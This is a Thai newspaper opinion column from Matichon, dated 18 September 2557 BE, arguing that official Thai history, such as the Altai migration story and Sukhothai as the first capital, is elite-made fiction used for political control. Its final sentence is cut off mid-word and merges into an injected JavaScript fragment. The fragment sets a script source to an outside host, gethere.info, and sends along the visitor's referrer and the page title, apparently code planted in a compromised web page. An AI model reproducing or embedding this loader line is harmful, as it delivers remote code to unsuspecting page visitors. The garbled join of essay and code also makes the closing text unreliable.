มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 18 กันยายน  2557

 

นิยายประวัติศาสตร์ไทย

          ประวัติศาสตร์ไทย ถูกเสกสรรปั้นแต่งเป็นนิยาย เพื่อใช้เป็นเครื่องมือทางการเมืองของคนชั้นนำทุกยุคทุกสมัย

          หมายรวมถึงประวัติศาสตร์แห่งชาติของไทยที่ทางการใช้งานทุกวันนี้ด้วย

          ผู้เสกสรรปั้นแต่งนิยายประวัติศาสตร์ไทยสนองอำนาจคนชั้นนำ คือนักค้นคว้านักวิชาการทางประวัติศาสตร์โบราณคดีของไทย ซึ่งไม่ต่างจากหมอผีผู้บอกฤกษ์ยามและความเป็นมาของชาติพันธุ์แก่หัวหน้าเผ่าพันธุ์ยุคดึกดำบรรพ์

          ในทางสากล ประเทศไทยมีประวัติความเป็นมาทั้งของผู้คนและของดินแดน เป็นส่วนหนึ่งของสุวรรณภูมิในอุษาคเนย์ (ปัจจุบันรู้จักทั่วไปในชื่ออาเซียน) ตามเงื่อนไขของเวลาและสถานที่อย่างแยกออกจากกันมิได้

          แต่ประวัติศาสตร์แห่งชาติของไทย เป็นเรื่องราวของชนชาติไทยพวกเดียวโดดๆ ที่ถูกแต่งเป็นนิยายยืดยาวตามต้องการของคนชั้นนำยุคนั้นๆ จึงถูกแยกออกจากประวัติศาสตร์สุวรรณภูมิและอาเซียน

          ด้วยเหตุนี้เอง ชนชาติไทยจึงต้องถูกเสกสรรปั้นแต่งให้อพยพถอนรากถอนโคนมาจากที่ใดที่หนึ่งทางทิศเหนือไกลโพ้น เช่น เทือกเขาอัลไต (ให้เหมือนพวกอารยันผู้ยิ่งใหญ่ของโลก) จะได้ไม่เกี่ยวข้องทางเชื้อสายชาติพันธุ์กับชนชาติอื่นที่ต่ำต้อยกว่า

          หากจะเกี่ยวข้องกับชนชาติอื่นบ้างก็เป็นเรื่องของความขัดแย้งที่ชนชาติไทยซึ่งรักสงบ ถูกรังแกกดขี่ข่มเหงจากชนชาติอื่นที่ป่าเถื่อน

          ใครคิดต่างจากนิยายประวัติศาสตร์ชนชาติไทยของคนชั้นนำอย่างนี้ ต้องถูกกล่าวหาและถูกประณามว่าไม่รักชาติ

          แต่ชาติของคนต่างกลุ่มมีลักษณะหน้าตาท่าทางไม่เหมือนกัน ชาติของคนชั้นนำและคนดีมีอย่างหนึ่ง ส่วนชาติของคนคิดต่างก็เป็นอีกอย่างหนึ่ง

          ดังนั้น จึงไม่มีประโยชน์ที่จะทักท้วงถกเถียงทางวิชาการเรื่องความเป็นไปได้ใกล้เคียงความจริงของประวัติศาสตร์ไทย

          เพราะคนชั้นนำไม่ต้องการฟังความคิดเห็นของคนอื่น แต่ต้องการพูดให้คนอื่นฟัง แล้วให้เชื่อถือความคิดของคนชั้นนำและหมอผียุคใหม่ที่เสกสรรปั้นแต่งนิยายประวัติศาสตร์ไทยเท่านั้น

          สรุปแล้ว คนชั้นนำกับหมอผีจะเสกสรรปั้นแต่งนิยายประวัติศาสตร์ไทยให้ไม่เหมือนใครในโลก ก็ทำไปตามใจชอบ ประชาชนบางพวกจะเชื่อก็ได้ตามชอบใจ

          ส่วนบางพวกจะไม่เชื่อก็ได้ แล้วร่วมกันแต่งใหม่ขึ้นเองก็ไม่ผิดรัฐธรรมนูญ

          แต่อาจขัดกฎอัยการศึกพิลึกมหึมา ชาวนัคราระอาเดช

 

ต้องทำซ้ำๆว่านิยายโกหก

          คนไทยอพยพมาจากเทือกเขาอัลไต เป็นนิยายของทางการเสกสรรปั้นแต่งขึ้นใช้ครอบงำสังคมไทย โดยผลิตซ้ำผ่านระบบโรงเรียนต่อเนื่องนานมาก

          แม้ถูกยกเลิกเงียบๆ ราว 35 ปีมาแล้ว เพราะรู้แล้วว่าทางวิชาการไม่มีหลักฐานอย่างนั้น แต่ทางการไม่โฆษณาประชาสัมพันธ์ และไม่แบ่งปันเผยแพร่ข้อมูลข่าวสาร คล้ายจะเก็บงำให้คนส่วนมากงมงายต่อไป

          คนทั่วไปไม่รู้ แม้หน่วยงานและสถาบันบางแห่งของทางการก็ไม่รับรู้ จึงยังใช้นิยายโกหกเรื่องเทือกเขาอัลไต จนถึงสุโขทัยเป็นราชธานีแห่งแรกของไทย ครอบงำสังคมไทยสืบเนื่องจนบัดนี้ และอาจไม่ยอมเลิกก็ได้ จนกว่าโลกสลาย

          สถาบันการศึกษาและหน่วยงานที่เกี่ยวข้อง ต้องยอมรับความขาดตกบกพร่องที่ไม่อธิบายย้ำความจริง แล้วทำซ้ำๆต่อเนื่องทุกๆเดือนทุกๆปี

          แบ่งปันความรู้ข้อมูลข่าวสารไม่ใช่กิจกรรมการตลาดลดแลกแจกแถม หรือคืนความสุขด้วยสุรานารี พริตตี้ โคโยตี้ ที่สนุกสุดเหวี่ยง แล้วต่างจดจำความสนุกนั้นมิรู้ลืม

          ครูบาอาจารย์บางพวกที่รู้แล้ว เข้าใจลึกซึ้งแล้ว อาจเบื่อทำซ้ำๆ ก็ไม่เป็นไร ไม่ต้องทำก็ได้

          แต่ไม่ควรทำฉลาด (ด้วยเห็นคนอื่นไม่ฉลาดเท่าตัว) เป็นจระเข้ขวางคลองและเอาส้นตีนราน้ำs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;